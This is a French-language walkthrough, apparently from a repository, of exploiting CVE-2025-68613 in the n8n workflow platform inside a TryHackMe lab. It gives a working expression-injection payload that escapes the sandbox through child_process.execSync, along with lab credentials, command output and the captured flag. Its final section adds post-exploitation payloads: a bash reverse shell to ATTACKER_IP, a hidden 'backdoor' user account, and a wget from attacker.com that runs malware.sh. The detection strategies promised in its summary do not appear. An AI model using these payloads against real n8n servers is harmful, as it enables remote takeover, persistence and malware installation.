
Procédure pas à pas éducative pour l'exploitation de CVE-2025-68613, une RCE critique dans l'automatisation de workflows n8n. Couvre l'injection d'expression, l'évasion du bac à sable, le développement de payload et les stratégies de détection via un laboratoire TryHackMe.
Ce référentiel documente une exploitation pratique de CVE-2025-68613 (CVSS 9.9), une vulnérabilité critique d'exécution de code à distance affectant la plateforme d'automatisation de workflows n8n (versions 0.211.0 à 1.120.3).
Cette exploitation a été réalisée éthiquement dans un environnement de laboratoire TryHackMe contrôlé à des fins éducatives uniquement.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2025-68613 |
| Score CVSS | 9.9 (Critique) |
| Publié | 19 décembre 2025 |
| Produit affecté | Plateforme d'automatisation de workflows n8n |
| Type de vulnérabilité | Injection d'expression → Évasion du sandbox → RCE |
| Vecteur d'attaque | Utilisateur authentifié (par défaut) |
| Versions corrigées | 1.120.4, 1.121.1, 1.122.0+ |
| Versions affectées | 0.211.0 - 1.120.3 |
n8n est une plateforme open-source d'automatisation de workflows qui permet aux utilisateurs de connecter visuellement des applications et des services pour automatiser des tâches. Elle propose :
{{ }} évaluées comme du JavaScriptLa vulnérabilité réside dans le système d'évaluation des expressions de workflow de n8n. Lorsque des utilisateurs authentifiés configurent des workflows, leurs entrées sont traitées comme du code JavaScript sans sandboxing adéquat.
Sandbox d'expression
↓ (évasion via 'this')
Contexte global Node.js
↓ (accès à mainModule)
Système de modules (require)
↓ (chargement de child_process)
Exécution de commandes système
{{ }} sont évaluées comme du JavaScript brut sans isolation de contexte appropriéethis permet de s'échapper des restrictions du sandboxprocess.mainModule.require() donne accès au système de modules Node.jschild_process pour exécuter des commandes système(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Explication :
this → Objet global Node.jsthis.process → Objet processus Node.jsprocess.mainModule → Module racine de l'application n8n.require('child_process') → Chargement du module d'exécution de commandes système.execSync('COMMAND') → Exécution synchrone d'une commande shell.toString() → Conversion du tampon Buffer en chaîne lisibleAccédez à l'instance n8n vulnérable et connectez-vous avec des identifiants valides.
Identifiants du laboratoire :
[email protected]Try12345!
Après la connexion, l'interface de création de workflow s'affiche. Cliquez sur "Start from scratch" pour créer un nouveau workflow.

Cliquez sur "Add first step" et recherchez "Manual Trigger". Ce nœud sert de point d'entrée pour l'exécution du workflow.

Objectif : Le nœud Manual Trigger permet une exécution manuelle du workflow via le bouton "Execute workflow" dans l'interface, ce qui est idéal pour les tests.
Ajoutez un nœud "Edit Fields" pour effectuer le mappage de champ. C'est ici que la vulnérabilité est exploitée.

Étapes de configuration :
Injectez la charge utile pour exécuter la commande id et obtenir les informations utilisateur/privileges.
Charge utile :
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Résultat :
uid=1000(node) gid=1000(node) groups=1000(node)

Informations obtenues :
Modifiez la charge utile pour exécuter la commande ls et lister le contenu du répertoire.
Charge utile :
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Sortie affichée :
flag.txtLisez le fichier flag avec la commande cat pour terminer l'exploitation.
Charge utile :
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
Flag récupéré :
THM{n8n_exposed_workflow}

Établir un accès shell interactif pour un contrôle persistant :
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
Ajouter un nouvel utilisateur système pour un accès persistant :
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
Récupérer et exécuter du code à distance :
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()